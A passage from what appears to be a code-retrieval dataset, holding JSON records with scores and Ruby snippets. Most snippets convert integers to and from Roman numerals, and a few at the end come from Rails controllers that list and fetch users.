= roman + \"D\" * (num % 1000 /500)\n roman = roman + \"C\" * (num % 500 /100)\n roman = roman + \"L\" * (num % 100 /50)\n roman = roman + \"X\" * (num % 50 /10)\n roman = roman + \"V\" * (num % 10 /5)\n roman = roman + \"I\" * (num % 5 /1)\n roman\nend", "title": "" }, { "docid": "a6adf3a1d751b155fa883b8864229e8a", "score": "0.73640573", "text": "def roman_numeral input\n\tnum = input.to_i\n\n\tm = 'M' * (num/1000)\n\td = 'D' * ((num%1000) / 500)\n\tc = 'C' * ((num%500) / 100)\n\tl = 'L' * ((num%100) / 50)\n\tx = 'X' * ((num%50) / 10)\n\tv = 'V' * ((num%10) / 5)\n\ti = 'I' * ((num%5) / 1)\n\n\tif i == 'IIII' && v != 'V'\n i = 'IV'\n elsif i == 'IIII'\n v = 'IX'\n i = ''\n \n end\n\n if x == 'XXXX' && l != 'L'\n x = 'XL'\n elsif x == 'XXXX'\n l = 'XC'\n x = ''\n \n end\n\n if c == 'CCCC' && d != 'D'\n c = 'CD'\n elsif c == 'CCCC'\n d = 'CM'\n c = ''\n end\n\nreturn m + d + c + l + x + v + i\n\nend", "title": "" }, { "docid": "2b24760fb42d586009f5bb1b2d80ff33", "score": "0.73612106", "text": "def old_roman_numerals num\r\n\t\r\n\troman = \"\"\r\n\r\n\troman = roman + \"M\" * (num / 1000)\r\n\troman = roman + \"D\" * (num % 1000 / 500)\r\n\troman = roman + \"C\" * (num % 500 / 100)\r\n\troman = roman + \"L\" * (num % 100 / 50)\r\n\troman = roman + \"X\" * (num % 50 / 10)\r\n\troman = roman + \"V\" * (num % 10 / 5)\r\n\troman = roman + \"I\" * (num % 5 / 1)\r\n\r\n\tputs roman\r\n\r\nend", "title": "" }, { "docid": "e94bfdebe2c62fc50d56d81c0d9334e7", "score": "0.73604006", "text": "def roman_numeral(number)\n thousands = number / 1000 \n hundreds = number % 1000 / 100\n tens = number % 100 / 10\n ones = number % 10\n numbers = [thousands, hundreds, tens, ones]\n arr = []\n\n thousands.times do |num|\n arr.push 'M'\n end\n\n while hundreds > 0\n if hundreds == 9\n arr.push 'CM'\n hundreds = hundreds - 9\n elsif hundreds == 4\n arr.push 'CD'\n hundreds = hundreds - 4\n elsif hundreds >= 5\n arr.push 'D'\n hundreds = hundreds - 5\n else\n arr.push 'C'\n hundreds = hundreds - 1\n end\n end\n\n while tens > 0\n if tens == 9\n arr.push 'XC'\n tens = tens -9\n elsif tens == 4\n arr.push 'XL'\n tens = tens - 4\n elsif tens >= 5\n arr.push 'L'\n tens = tens - 5\n else\n arr.push 'X'\n tens = tens - 1\n end\n end\n\n while ones > 0\n if ones == 9\n arr.push 'IX'\n ones = ones - 9\n elsif ones == 4\n arr.push 'IV'\n ones = ones - 4\n elsif ones >= 5\n arr.push 'V'\n ones = ones - 5\n else\n arr.push 'I'\n ones = ones - 1\n end\n end\n\n arr.join \nend", "title": "" }, { "docid": "e94bfdebe2c62fc50d56d81c0d9334e7", "score": "0.73604006", "text": "def roman_numeral(number)\n thousands = number / 1000 \n hundreds = number % 1000 / 100\n tens = number % 100 / 10\n ones = number % 10\n numbers = [thousands, hundreds, tens, ones]\n arr = []\n\n thousands.times do |num|\n arr.push 'M'\n end\n\n while hundreds > 0\n if hundreds == 9\n arr.push 'CM'\n hundreds = hundreds - 9\n elsif hundreds == 4\n arr.push 'CD'\n hundreds = hundreds - 4\n elsif hundreds >= 5\n arr.push 'D'\n hundreds = hundreds - 5\n else\n arr.push 'C'\n hundreds = hundreds - 1\n end\n end\n\n while tens > 0\n if tens == 9\n arr.push 'XC'\n tens = tens -9\n elsif tens == 4\n arr.push 'XL'\n tens = tens - 4\n elsif tens >= 5\n arr.push 'L'\n tens = tens - 5\n else\n arr.push 'X'\n tens = tens - 1\n end\n end\n\n while ones > 0\n if ones == 9\n arr.push 'IX'\n ones = ones - 9\n elsif ones == 4\n arr.push 'IV'\n ones = ones - 4\n elsif ones >= 5\n arr.push 'V'\n ones = ones - 5\n else\n arr.push 'I'\n ones = ones - 1\n end\n end\n\n arr.join \nend", "title": "" }, { "docid": "859de9661a131c2e4d0acb60bcb42309", "score": "0.735083", "text": "def old_roman_numeral num\n roman = ''\n\n roman = roman + 'M' * (num /1000)\n roman = roman + 'D' * (num % 1000 / 500)\n roman = roman + 'C' * (num % 500 / 100)\n roman = roman + 'L' * (num % 100 / 50)\n roman = roman + 'X' * (num % 50 / 10)\n roman = roman + 'V' * (num % 10 / 5)\n roman = roman + 'I' * (num % 5 / 1)\nend", "title": "" }, { "docid": "80fee741d2958fcb15842228088bf682", "score": "0.7347305", "text": "def old_roman num\n roman_str = '' # string, not integer\n \n roman_str += 'M' * (num / 1000)\n roman_str += 'D' * (num % 1000 / 500) \n roman_str += 'C' * (num % 500 / 100) \n roman_str += 'L' * (num % 100 / 50) \n roman_str += 'X' * (num % 50 / 10) \n roman_str += 'V' * (num % 10 / 5) \n roman_str += 'I' * (num % 5 / 1) \n roman_str\nend", "title": "" }, { "docid": "396f9fb219a828664d6118a694186a55", "score": "0.73338586", "text": "def roman_numeral num\nthous = (num / 1000) hunds = (num % 1000 / 100) tens=(num%100/ 10) ones=(num% 10 )\n roman = 'M' * thous\nif hunds == 9\nroman = roman + 'CM'\nelsif hunds == 4\nroman = roman + 'CD'\nelse\n roman = roman + 'D' * (num % 1000 / 500)\nroman=roman+'C'*(num% 500/100) end\nif tens == 9\nroman = roman + 'XC'\nelsif tens == 4\nroman = roman + 'XL'\nelse\nroman=roman+'L'*(num% 100/ 50)\nroman=roman+'X'*(num% 50/ 10) end\nif ones == 9\nroman = roman + 'IX'\nelsif ones == 4\nroman = roman + 'IV'\nelse\nroman=roman+'V'*(num% 10/ 5)\nroman=roman+'I'*(num% 5/ 1) end\nroman\nend", "title": "" }, { "docid": "142476d6289fd65057c59316851044e0", "score": "0.7330712", "text": "def old_roman_numeral \n # your code here\n num = self\n numM = num / 1000\n numMr = num % 1000\n numd = numMr / 500\n numdr= numMr % 500\n numc = numdr / 100\n numcr = numdr % 100\n numL = numcr / 50\n numLr = numcr % 50\n numx = numLr / 10\n numxr = numLr % 10\n numv = numxr / 5\n numvr = numxr % 5\n numi = numvr / 1\n numir = numvr % 1\n totalm = numM\n totald = numd\n totalc = numc\n totalL = numL\n totalx = numx\n totalv = numv\n totali = numi \n return 'M' * totalm.to_i + 'D' * totald.to_i + 'C' * totalc.to_i + 'L' * totalL.to_i + 'X' * totalx.to_i + 'V' * totalv.to_i + 'I' * totali.to_i\nend", "title": "" }, { "docid": "7b837a703786a4ffd23488350bcb96ea", "score": "0.73278624", "text": "def num_to_old_roman_numeral num\n \n orig_num = num\n \n # Clear values for all characters before starting\n m = 0\n d = 0\n c = 0\n l = 0\n x = 0\n v = 0\n i = 0\n \n # Get 1000s\n if num/1000 >= 1\n m = num/1000\n num = num%1000\n end\n \n # Get 500s\n if num/500 >= 1\n d = num/500\n num = num%500\n end\n \n # Get 100s\n if num/100 >= 1\n c = num/100\n num = num%100\n end\n \n # Get 50s\n if num/50 >= 1\n l = num/50\n num = num%50\n end\n \n # Get 10s\n if num/10 >= 1\n x = num/10\n num = num%10\n end\n \n # Get 5s\n if num/5 >= 5\n v = num/5\n num = num%5\n end\n \n # Get 1s\n if num >= 1\n i = num\n end\n \n roman_numeral = 'M'*m + 'D'*d + 'C'*c + 'L'*l + 'X'*x + 'V'*v + 'I'*i\n \n puts orig_num.to_s + ' in old roman numerals is ' + roman_numeral\nend", "title": "" }, { "docid": "4e6afdaff94b18cb8ac02124b9d4311a", "score": "0.73192376", "text": "def newRomanizer (basic)\n thousand = basic/1000\n nineH = (basic % 1000)/900\n fiveH = (basic % 1000 % 900)/500\n remainder = basic % 1000 % 900\n fourH = (remainder % 500)/400\n hundred = (remainder % 500 % 400)/100\n nineties = (basic % 100)/90\n fifties = (basic % 100 % 90)/50\n remainder = basic % 100 % 90\n fourties = (remainder % 50)/40\n tens = (remainder % 50 % 40)/10\n nines = (basic % 10)/9\n fives = (basic % 10 % 9)/5\n remainder = basic % 10 % 9\n fours = (remainder % 5)/4\n ones = remainder % 5 % 4\n puts ('M'*thousand + 'CM'*nineH + 'D'*fiveH + 'CD'*fourH + 'C'*hundred + 'XC'*nineties + 'L'*fifties + 'XL'*fourties + 'X'*tens + 'IX'*nines + 'V'*fives + 'IV'*fours + 'I'*ones)\nend", "title": "" }, { "docid": "1f23932a7794feffb76f9e07d986da04", "score": "0.7318089", "text": "def roman_to_integer roman_numeral\n\n hindu_num = 0\n counter = 0\n\n while(counter < roman_numeral.size)\n if(roman_numeral[counter]==\"I\" || roman_numeral[counter]==\"X\" || roman_numeral[counter]==\"C\")\n hindu_num += roman_exceptions(roman_numeral[counter, 2])\n counter +=2\n next\n else\n hindu_num += r_to_n(roman_numeral[counter])\n end\n counter += 1\n end\n\n hindu_num\nend", "title": "" }, { "docid": "5086db371a4d0b9ff26ac17dcbb6c383", "score": "0.73133075", "text": "def roman_to_int(s, total=0)\n if s.size == 0\n total\n elsif s[0] == \"M\"\n roman_to_int(s[1..-1], 1000 + total)\n elsif s[0..1] == \"CM\"\n roman_to_int(s[2..-1], 900 + total)\n elsif s[0] == \"D\"\n roman_to_int(s[1..-1], 500 + total)\n elsif s[0..1] == \"CD\"\n roman_to_int(s[2..-1], 400 + total)\n elsif s[0] == \"C\"\n roman_to_int(s[1..-1], total + 100)\n elsif s[0..1] == \"XC\"\n roman_to_int(s[2..-1], total + 90)\n elsif s[0] == \"L\"\n roman_to_int(s[1..-1], total + 50)\n elsif s[0..1] == \"XL\"\n roman_to_int(s[2..-1], total + 40)\n elsif s[0] == \"X\"\n roman_to_int(s[1..-1], total + 10)\n elsif s[0..1] == \"IX\"\n roman_to_int(s[2..-1], total + 9)\n elsif s[0] == \"V\"\n roman_to_int(s[1..-1], total + 5)\n elsif s[0..1] == \"IV\"\n roman_to_int(s[2..-1], total + 4)\n elsif s[0] == \"I\"\n roman_to_int(s[1..-1], total + 1)\n else\n raise ArgumentError\n end\nend", "title": "" }, { "docid": "a4411242c49b6d4a133de71fddbb6c5f", "score": "0.7307875", "text": "def roman_numerals2(integer)\n\n numerals = {1 => \"I\",\n 5 => \"V\", 10 =>\"X\", 50 => \"L\", 100 => \"C\",500 =>\"D\", 1000 => \"M\"}\n\n answer = \"\"\n\n numerals.keys.reverse.each do |n|\n\n answer = answer + numerals[n] * (integer/n)\n integer = integer % n\n\n end\n return answer\n\nend", "title": "" }, { "docid": "bf7454346a95eab01fcf9d4c90d7ea93", "score": "0.7302404", "text": "def old_school_roman_numeral(num)\n arabics_to_romans = [\n [1000, 'M'],\n [500, 'D'],\n [100, 'C'],\n [50, 'L'],\n [10, 'X'],\n [5, 'V'],\n [1, 'I']\n ]\n\n answer = []\n\n arabics_to_romans.each do |arabic_to_roman|\n arabic, roman = arabic_to_roman\n\n quotient = num / arabic\n next if quotient == 0\n\n answer.push(roman * quotient)\n num %= arabic\n end\n\n answer.join\nend", "title": "" }, { "docid": "a406179879715b81c868751059b8bfe2", "score": "0.72971296", "text": "def old_roman_numeral number\n\n numeral_array = []\n\n if number / 1000 > 0\n thousands = 'M' * (number / 1000)\n numeral_array.push thousands\n number = number % 1000\n end\n if number / 500 > 0\n five_hundreds = 'D' * (number / 500)\n numeral_array.push five_hundreds\n number = number % 500\n end\n if number / 100 > 0\n hundreds = 'C' * (number / 100)\n numeral_array.push hundreds\n number = number % 100\n end\n if number / 50 > 0\n fifties = 'L' * (number / 50)\n numeral_array.push fifties\n number = number % 50\n end\n if number / 10 > 0\n tens = 'X' * (number / 10)\n numeral_array.push tens\n number = number % 10\n end\n if number / 5 > 0\n fives = 'V' * (number / 5)\n numeral_array.push fives\n number = number % 5\n end\n if number / 1 > 0\n ones = 'I' * (number / 1)\n numeral_array.push ones\n number = number % 1\n end\n\n numeral_string = numeral_array.join\nend", "title": "" }, { "docid": "ae4df712b8590b25fd982550b2466710", "score": "0.7285133", "text": "def old_roman_numeral num\n\traise 'Must use positive integer' if num <= 0\n\troman = ''\n\tputs 'M' * (num / 1000)\n\tputs 'D' * (num % 1000 / 500)\n\tputs 'C' * (num % 500 / 100)\n\tputs 'L' * (num % 100 / 50)\n\tputs 'X' * (num % 50 / 10)\n\tputs 'V' * (num % 10 / 5)\n\tputs 'I' * (num % 5 / 1)\n\troman\nend", "title": "" }, { "docid": "51c42d36c14779f0f37ed63e119c3379", "score": "0.72767764", "text": "def roman_numeral num\n roman_num = [] # array for holding our roman numerals\n\n while num > 0\n if num >= 1000\n roman_num << 'M'\n num -= 1000\n\n elsif num > 900\n roman_num << 'CM'\n num -= 900\n\n elsif num >= 500\n roman_num << 'D'\n num -= 500\n\n elsif num > 400\n roman_num << 'CD'\n num -= 400\n\n elsif num > 100\n roman_num << 'C'\n num -= 100\n\n elsif num > 90\n roman_num << 'XC'\n num -= 90\n\n elsif num > 50\n roman_num << 'L'\n num -= 50\n\n elsif num > 40\n roman_num << 'XL'\n num -= 40\n\n elsif num > 10\n roman_num << 'X'\n num -= 10\n\n elsif num == 9\n roman_num << 'IX'\n num -= 9\n\n elsif num > 5\n roman_num << 'V'\n num -= 5\n\n elsif num == 4\n roman_num << 'IV'\n num -= 4\n\n elsif num >= 1\n roman_num << 'I'\n num -= 1\n end\n end\n\n return roman_num.join('') # return the joined roman numerals in our array (collecting the letters)\nend", "title": "" }, { "docid": "52ba31b284c4a5afd4dc855bfb4443d3", "score": "0.727401", "text": "def old_roman num\n roman = ''\n roman = roman + 'M' * (num / 1000)\n roman = roman + 'D' * (num % 1000 / 500)\n roman = roman + 'C' * (num % 500 / 100)\n roman = roman + 'L' * (num % 100 / 50)\n roman = roman + 'X' * (num % 50 / 10)\n roman = roman + 'V' * (num % 10 / 5)\n roman = roman + 'I' * (num % 5 / 1)\n return puts\"Here is your number in roman numerals, #{roman}\"\nend", "title": "" }, { "docid": "dcb773244552577da066b11d66caef0c", "score": "0.7269177", "text": "def convert_roman_to_decimal(passed_roman=input_string.clone)\n # generating regex expressions\n double_units_array = ROMAN_NON_REPEATABLE_UNITS_2.map { |element| ('^' + element[:unit].to_s) }\n single_units_array = (ROMAN_REPEATABLE_UNITS + ROMAN_NON_REPEATABLE_UNITS_1).map { |element| ('^' + element[:unit].to_s) }\n double_units_regex = Regexp.new(double_units_array.join('|'))\n single_units_regex = Regexp.new(single_units_array.join('|'))\n # validation\n # TODO: to add more validations\n if passed_roman =~ /(.)\\1{#{MAX_ALLOWED_REPETITION},}/\n raise InvalidInputError, \"Invalid Input: #{passed_roman}\"\n end\n # processing\n if passed_roman.length > 0\n if unit = passed_roman.slice!(double_units_regex)\n self.output_integer += ROMAN_DOUBLE_UNITS.find { |element| element[:unit] == unit.to_sym }[:value]\n convert_roman_to_decimal(passed_roman)\n elsif unit = passed_roman.slice!(single_units_regex)\n self.output_integer += ROMAN_SINGLE_UNITS.find { |element| element[:unit] == unit.to_sym }[:value]\n convert_roman_to_decimal(passed_roman)\n else\n # invalid input\n raise InvalidInputError, \"Invalid Input: #{passed_roman}\"\n end\n else\n # process is complete\n self.output_integer\n end\n end", "title": "" }, { "docid": "d852b92874485e74e3f787a52e95f928", "score": "0.7266181", "text": "def roman_numeral num\n raise 'Must use positive integer' if num <= 0\n \n digit_vals = [['I', 5, 1], ['V', 10, 5], ['X', 50, 10], \n ['L', 100, 50], ['C', 500, 100], ['D', 1000, 500], \n ['M', nil, 100]]\n \n roman = ''\n remaining = nil\n \n # Build string \"roman\" in reverse.\n build_rev = proc do |l,m,n|\n num_l = m ? (num % m / n) : (num / n)\n full = m && (num_l == (m/n - 1))\n \n if full && (num_l > 1 || remaining)\n # must carry\n remaining ||= l # carry l if not already carrying\n else\n if remaining\n roman << l + remaining\n remaining = nil\n end\n \n roman << l * num_l\n end\n end\n \n digit_vals.each {|l,m,n| build_rev [l,m,n]}\n \n roman.reverse\nend", "title": "" }, { "docid": "347717cb06b1fda8ca5223b09440c630", "score": "0.7263084", "text": "def int_to_roman(num)\n if num == nil || num == 0\n return num\n end\n romans = {\"M\"=>1000, \"CM\"=>900, \"D\"=>500, \"CD\"=>400, \"C\"=>100, \"XC\"=>90, \"L\"=>50, \"XL\"=>40, \"X\"=>10, \"IX\"=>9, \"V\"=>5, \"IV\"=>4, \"I\"=>1}\n result = \"\"\n \n romans.each do |key, val|\n result += key * (num / val)\n num -= (num / val) * val \n end\n \n return result\nend", "title": "" }, { "docid": "aaf62158fa8c23fecd52c95918f02936", "score": "0.72621137", "text": "def numeralValues(romanCharacter)\n if romanCharacter == \"I\"\n return 1\n end\n if romanCharacter == \"V\"\n return 5\n end\n if romanCharacter == \"X\"\n return 10\n end\n if romanCharacter == \"L\"\n return 50\n end\n if romanCharacter == \"C\"\n return 100\n end\n if romanCharacter == \"D\"\n return 500\n end\n if romanCharacter == \"M\"\n return 1000\n end\n end", "title": "" }, { "docid": "23aed725964245ace2c2ca68ab6348fd", "score": "0.7262044", "text": "def roman_to_num(roman)\n\troman_arr = [{:roman => \"I\", :num => 1}, \n\t\t\t{:roman => \"V\", :num => 5}, \n\t\t\t{:roman => \"X\", :num => 10},\n\t\t\t{:roman => \"L\", :num => 50},\n\t\t\t{:roman => \"C\", :num => 100},\n\t\t \t{:roman => \"D\", :num => 500},\n\t\t \t{:roman => \"M\", :num => 1000}]\n\n\tr_a = roman.split(\"\")\n\n\tr_a.map! do |x| \n\t\troman_arr.map do |r|\n\t\t\tif x == r[:roman]\n\t\t\t\tr[:num]\n\t\t\tend\n\t\tend\n\tend\n\n\tv_a = r_a.flatten.compact\n\n\tnarr = [v_a[0]]\n\ti = 1\n\twhile i < v_a.length\n\t\tif v_a[i] > v_a[i-1]\n\t\t\tnarr << v_a[i] - v_a[i-1] - v_a[i-1]\t# Comment: 1\n\t\telse \n\t\t\tnarr << v_a[i]\n\t\tend\n\t\ti += 1 \n\tend\n\treturn narr.inject(&:+)\nend", "title": "" }, { "docid": "468ecbf57603605750a637040980535a", "score": "0.72559226", "text": "def old_roman_numeral\n num = self \n rom_num = ''\n rom_num = rom_num + 'M'*(num / 1000)\n rom_num = rom_num + 'D'*(num%1000 /500)\n rom_num = rom_num + 'C'*(num%500/ 100)\n rom_num = rom_num + 'L'*(num%100/50)\n rom_num = rom_num + 'X'*(num%50/10)\n rom_num = rom_num + 'V'*(num%10/5)\n rom_num = rom_num + 'I'*(num%5/1)\n rom_num\n end", "title": "" }, { "docid": "cf600c7a8a501e310ee8aba581595cbc", "score": "0.72543555", "text": "def old_roman_numeral number\n roman = ''\n\n roman = roman + 'M' * (number / 1000)\n roman = roman + 'D' * (number % 1000 / 500)\n roman = roman + 'C' * (number % 500 / 100)\n roman = roman + 'L' * (number % 100 / 50)\n roman = roman + 'X' * (number % 50 / 10)\n roman = roman + 'V' * (number % 10 / 5)\n roman = roman + 'I' * (number % 5 / 1)\n roman\nend", "title": "" }, { "docid": "4fcc631f1a669ba1809d9cfb1e999b18", "score": "0.7253599", "text": "def roman_numeral number\n return \"The Romans have no zeros/Characters just heros.\" if number == 0 || !number.is_a?(Integer)\n roman_symbols = {1000 => \"M\",900 => \"CM\", 500 => \"D\",400 => \"CD\", 100 => \"C\",90 => \"XC\", 50 => \"L\",40 =>\"XL\", 10 => \"X\",9 => \"IX\", 5 => \"V\",4 => \"IV\", 1=> \"I\"}\n symbols = []\n roman_symbols.each do |num, sym|\n symbols.push(sym * (number/num))\n number = number % num\n end\n symbols.join\nend", "title": "" }, { "docid": "5221fece98ecca7525351ffdc4e04b59", "score": "0.7252684", "text": "def modern_roman_numerals num\r\n\r\n\tthousands = (num / 1000)\r\n\thundreds = (num % 1000 / 100)\r\n\ttens = (num % 100 / 10)\r\n\tones = (num % 10 / 1)\r\n\r\n\troman = \"M\" * thousands \r\n\r\n\tif hundreds == 9\r\n\t\troman = roman + \"CM\"\r\n\telsif hundreds == 4 \r\n\t\troman = roman + \"CD\"\r\n\telse \r\n\t\troman = roman + \"D\" * (num % 1000 / 500)\r\n\t\troman = roman + \"C\" * (num % 500 / 100)\r\n\tend\r\n\r\n\tif tens == 9 \r\n\t\troman = roman + \"XC\"\r\n\telsif tens == 4\r\n\t\troman = roman + \"XL\"\r\n\telse \r\n\t\troman = roman + \"L\" * (num % 100 / 50)\r\n\t\troman = roman + \"X\" * (num % 50 / 10)\r\n\tend\r\n\r\n\tif ones == 9\r\n\t\troman = roman + \"IX\"\r\n\telsif ones == 4\r\n\t\troman = roman + \"IV\"\r\n\telse\r\n\t\troman = roman + \"V\" * (num % 10 / 5)\r\n\t\troman = roman + \"I\" * (num % 5 / 1)\r\n\tend\r\n\r\n\tputs roman\r\n\r\nend", "title": "" }, { "docid": "27e372b8ce07312d1050922e1de622b7", "score": "0.7247569", "text": "def better_solution(roman)\n conv = {'M' => 1000, 'CM' => 900, 'D' => 500, 'CD' => 400, 'C' => 100,'XC' => 90,\n 'L' => 50, 'XL' => 40, 'X' => 10,'IX' => 9, 'V' => 5, 'IV' => 4, 'I' => 1}\n\n chars_regx = Regexp.new(conv.keys.join('|'))\n\n roman.scan(chars_regx).inject(0) {|total, key| total + conv[key]}\n #roman.scan(chars_regx).reduce(:+ conv[n])\nend", "title": "" }, { "docid": "5ae66373b0259718ad904c31890d2842", "score": "0.7246523", "text": "def roman_numeral_to_number(numeral)\n return parse_initial_ascending_pair(numeral) while numeral_begins_with_ascending_pairs?(numeral)\n NUMERALS.keys.each do |numeralchar|\n return parse_initial_single(numeral, numeralchar) while numeral_begins_with?(numeral, numeralchar)\n end\n return zero_for_empty(numeral)\nend", "title": "" }, { "docid": "f9ff510262cd974fe7f7b9507f145e7c", "score": "0.7242176", "text": "def roman_to_int(rom)\n rom.upcase\n mod_array = []\n \n if rom.include? \"IV\"\n rom.slice!\"IV\"\n mod_array << 4\n end\n if rom.include? \"IX\"\n rom.slice!\"IX\"\n mod_array << 9\n end\n if rom.include? \"XL\"\n rom.slice!\"XL\"\n mod_array << 40\n end\n if rom.include? \"XC\"\n rom.slice!\"XC\"\n mod_array << 90\n end\n if rom.include? \"CD\"\n rom.slice!\"CD\"\n mod_array << 400\n end\n if rom.include? \"CM\"\n rom.slice!\"CM\"\n mod_array << 900\n end\n if rom.include? \"I\"\n rom.slice!\"I\"\n mod_array << 1\n end\n if rom.include? \"V\"\n rom.slice!\"V\"\n mod_array << 5\n end\n if rom.include? \"X\"\n rom.slice!\"X\"\n mod_array << 10\n end\n if rom.include? \"L\"\n rom.slice!\"L\"\n mod_array << 50\n end\n if rom.include? \"C\"\n rom.slice!\"C\"\n mod_array << 100\n end\n if rom.include? \"D\"\n rom.slice!\"D\"\n mod_array << 500\n end\n if rom.include? \"M\"\n rom.slice!\"M\"\n mod_array << 1000\n end \n \n mod_array.inject(:+)\n \nend", "title": "" }, { "docid": "99c69fe55ce987a6ab263a46921eefee", "score": "0.7241699", "text": "def old_school_roman_numeral(num)\n roman = [\"I\",\"V\",\"X\",\"L\",\"C\",\"D\",\"M\"]\n digit = [1, 5, 10, 50, 100, 500, 1000]\n position = []\n roman_numeral = \"\"\n\n def math(x,y,z)\n if (y == 1000 && z != 500)\n return x / y\n else\n return (x % y) / z\n end\n end\n\n counter = 0\n until counter == 7\n if counter == 6\n position.push math(num, digit[counter], 1)\n elsif counter == 0\n position.push math(num, digit[counter +1], 1)\n else\n position.push math(num, digit[counter + 1], digit[counter])\n end\n counter += 1\n end\n\n for num in 1..7\n a = position.pop\n b = roman.pop\n until a == 0\n roman_numeral += b\n a -= 1\n end\n end\n puts roman_numeral\n puts\nend", "title": "" }, { "docid": "96512c55423b0e8b2483e2cda590e27e", "score": "0.7238636", "text": "def roman_to_number(roman)\n roman = roman.split(\"\")\n roman.map! { |number| conversion.invert[number] }\n result = []\n roman.each_with_index do |number, index|\n if index == 0\n result.push(number)\n elsif number > roman[index - 1]\n result.pop\n result.push(number - roman[index - 1])\n else\n result.push(number)\n end\n end\n result.inject(&:+)\n end", "title": "" }, { "docid": "70b5ba93a562314c59176be4b1711951", "score": "0.7237792", "text": "def new_roman_numeral num\n keys = [\n [1000, \"M\"],\n [500, \"D\"],\n [100, \"C\"],\n [50, \"L\"],\n [10, \"X\"],\n [5, \"V\"],\n [1, \"I\"],\n ]\n\n ret = \"\"\n keys.each_with_index do |pair, index|\n numeral = pair[0]\n letter = pair[1]\n if index>0\n last_numeral = keys[(index-1)][0]\n last_letter = keys[(index-1)][1]\n else\n last_numeral = 1\n last_letter = \"\"\n end\n while (num - numeral) >= 0\n comp = num - (num % numeral)\n if (comp + numeral) == last_numeral\n ret += letter + last_letter\n num = num - (last_numeral - numeral)\n else\n ret += letter\n num = num - numeral\n end\n end\n end\n return ret\nend", "title": "" }, { "docid": "1c9d2bf995d92c37a2c8b8db9fe9f368", "score": "0.7217924", "text": "def old_roman_numeral num\n many_thousands = num / 1000\n num -= many_thousands * 1000\n\n many_fundreds = num / 500\n num -= many_fundreds * 500\n\n many_hundreds = num / 100\n num -= many_hundreds * 100\n\n many_fifties = num / 50\n num -= many_fifties * 50\n\n many_tens = num / 10\n num -= many_tens * 10\n\n many_fives = num / 5\n num -= many_fives * 5\n\n \"#{\"M\" * many_thousands}#{\"D\" * many_fundreds}#{\"C\" * many_hundreds}#{\"L\" * many_fifties}#{\"X\" * many_tens}#{\"V\" * many_fives}#{\"I\" * num}\"\nend", "title": "" }, { "docid": "443b4ffc7a7e5144046885a006f38e32", "score": "0.7213297", "text": "def old_romans num\n\nroman = ''\n\nroman = roman + 'M' * (num / 1000)\nroman = roman + 'D' * (num%1000/ 500) \nroman = roman + 'C' * (num% 500/ 100) \nroman = roman + 'L' * (num% 100/ 50) \nroman = roman + 'X' * (num% 50/ 10) \nroman = roman + 'V' * (num% 10/ 5) \nroman = roman + 'I' * (num% 5/ 1) \nroman\nend", "title": "" }, { "docid": "8d654133b5bb753675f1d8aa37ddd959", "score": "0.7206529", "text": "def roman_numerals(number)\n\troman_numeral = \"\"\n\troman_numbers = { 1 => \"I\",\n\t\t\t\t\t\t\t\t\t\t5 => \"V\",\n\t\t\t\t\t\t\t\t\t\t10 => \"X\",\n\t\t\t\t\t\t\t\t\t\t50 => \"L\",\n\t\t\t\t\t\t\t\t\t\t100 => \"C\",\n\t\t\t\t\t\t\t\t\t\t500 => \"D\" }\n\n\tif roman_numbers.has_key?(number)\n\t\troman_numeral += roman_numbers[number]\n\telse\n\t\tunit = 10 ** (number.to_s.length - 1)\n\t\thead = number / unit\n\n\t\tif (head == 4)\n\t\t\troman_numeral += roman_numbers[unit] + roman_numbers[5*unit]\n\t\telsif (head >= 6 && head <= 8)\n\t\t\troman_numeral += roman_numbers[5*unit] + ( roman_numbers[unit] * (head - 5))\n\t\telsif (head == 9)\n\t\t\troman_numeral += roman_numbers[unit] + roman_numbers[10 * unit]\n\t\telse\n\t\t\troman_numeral += roman_numbers[unit] * head\t\n\t\tend\n\t\t\n\t\ttail = number % unit\n\t\tif tail != 0\n\t\t\troman_numeral += roman_numerals(tail)\n\t\tend\n\n\tend\n\n\t# puts roman_numeral\n\troman_numeral\n\nend", "title": "" }, { "docid": "5d35a00938bf8ea42a53c2355328118c", "score": "0.7202413", "text": "def new_roman_num(num)\n roman_num = \"\"\n ones, tens, hundreds, thousands = num.to_s.reverse.split(\"\")\n # thousands\n if thousands != nil\n roman_num << \"M\" * (num / 1000)\n end\n #hundreds\n if hundreds != nil\n if hundreds == \"4\"\n roman_num << \"CD\"\n elsif hundreds == \"9\"\n roman_num << \"CM\"\n else\n roman_num << \"D\" * (num % 1000 / 500)\n roman_num << \"C\" * (num % 500 / 100)\n end\n end\n # tens\n if tens != nil\n if tens == \"4\"\n roman_num << \"XL\"\n elsif tens == \"9\"\n roman_num << \"XC\"\n else\n roman_num << \"L\" * (num % 100 / 50)\n roman_num << \"X\" * (num % 50 /10)\n end\n end\n # ones\n if ones != nil\n if ones == \"4\"\n roman_num << \"IV\"\n elsif ones == \"9\"\n roman_num << \"IX\"\n else\n roman_num << \"V\" * (num % 10 / 5)\n roman_num << \"I\" * (num % 5 / 1)\n end\n end\n roman_num\nend", "title": "" } ]
72c3f74aca395d4c55c970e3ae92ed68
GET /best_users/1 GET /best_users/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "fc9b9ffb53bd7db285df48aedd87e626", "score": "0.7375231", "text": "def index\n @best_users = BestUser.all\n end", "title": "" }, { "docid": "4152fb6556ae83f7cdd6c362f17ad9bf", "score": "0.68292105", "text": "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end", "title": "" }, { "docid": "333a7d8a7d16adbafb1c07118e10362b", "score": "0.669564", "text": "def showMostSearched\n @user = User.order('counter DESC').limit(params[:limit])\n render json: @user\n end", "title": "" }, { "docid": "8ffbb4eb100099492ebe99506698d431", "score": "0.6631862", "text": "def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end", "title": "" }, { "docid": "c8ef94a9a4b86f592f7e96e23679f764", "score": "0.64900273", "text": "def search\n render json: User.first(10)\n end", "title": "" }, { "docid": "638fd2537a68ab61a5d42ab87386b0ed", "score": "0.64476645", "text": "def show\n # Do not use costly eager load to get all meets/chatters/friends. We only need\n # to get a top listed few.\n @user = find_user(params[:id])\n assert_internal_error(@user)\n respond_to do |format|\n format.html {\n #@meets = @user.top_meets(15) # Get a bit more to make sure we have enough top friends\n #@friends = @user.top_friends(@meets, 15)\n #@chatters = @user.top_chatters(10)\n #@meets = @meets.slice(0..4)\n 